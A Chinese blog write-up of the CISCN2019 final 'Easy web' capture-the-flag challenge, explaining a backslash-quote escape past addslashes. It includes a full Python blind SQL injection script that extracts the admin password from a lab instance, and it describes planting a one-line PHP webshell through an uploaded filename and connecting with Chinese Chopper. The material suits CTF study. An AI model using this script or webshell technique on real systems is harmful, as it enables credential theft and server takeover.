【CISCN2019 总决赛 Day2 Web1】-Easy web

在这里插入图片描述在这里插入图片描述
进入环境是一个登录界面在这里插入图片描述检查页面元素没有发现啥,我们把源码下载下来看看在这里插入图片描述先看config文件在这里插入图片描述
是一个数据库文件
数据库名为ciscnfinal
接着看function文件
我们可以看到有关登录界面的在这里插入图片描述在这里插入图片描述还有两个函数方法
看image文件在这里插入图片描述Get传递两个参数在这里插入图片描述
把一些字符替换成空在这里插入图片描述Addslashes()函数会把一些特殊的字符转义,比如单引号转为\’,\转为\在这里插入图片描述其他的看了下,没有什么信息就过掉了
我们看下upload文件在这里插入图片描述要求我们用户名必须为admin
这里我们可以获得用户名admin在这里插入图片描述在user文件中我们可以知道成功登陆后的界面信息和一些弹窗信息
重点部分其实就是我们的images文件中的内容
我们来他的核心代码在这里插入图片描述是没有任何绕过的
我们可以根据他的Addslashes()函数和replace()函数来构建sql语句进行注入
试想这是我们id=\0,则在addslashes后变为id=\0,随后将\0其清空,那么这是id=\,正好可以使单引号逃逸出来,变成:
r e s u l t = m y s q l i q u e r y ( result=mysqli_query( result=mysqliquery(con,“select * from images where id=’ ’ or path=’ {$path}’”);
可以看到现在id的值为’ or path=,所以path就可以进行盲注了
我们可以写一个脚本来把密码跑出来
而且我们刚刚分析源码的时候其实已经知道啦数据库名和表名
数据库名:ciscnfinal
表名:users,image
字段名:password,username
直接查询字段内容就行
脚本如下 :

import  requests
url = "http://577ef033-d362-4101-a177-e3bf762e42f2.node3.buuoj.cn/image.php?id=\\0&path="
payload = " or ascii(substr((select password from users),{},1))>{}%23"
result = ''
for i in range(1,100):
    high = 127
    low = 32
    mid = (low+high) // 2
    # print(mid)
    while(high>low):
        r = requests.get(url + payload.format(i,mid))
       # print(url + payload.format(i,mid))
        if 'JFIF' in r.text:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2
    result += chr(mid)
    print(result)

在这里插入图片描述拿到密码登录在这里插入图片描述在这里插入图片描述我们可以看到当前所处的位置为user.php
我们再去看下源码
并没有什么信息。
我们先测试一下
老习惯,直接上传带一句话的图片文件
在这里插入图片描述???
把我的文件名写入了一个日志文件里??
那我直接修改文件名为一句话不就行了
在这里插入图片描述
在这里插入图片描述
额。。在这里插入图片描述这儿有点蒙,查了下在这里插入图片描述修改后上传在这里插入图片描述成功写入
菜刀连接在这里插入图片描述在这里插入图片描述

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

一名无聊的网友

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值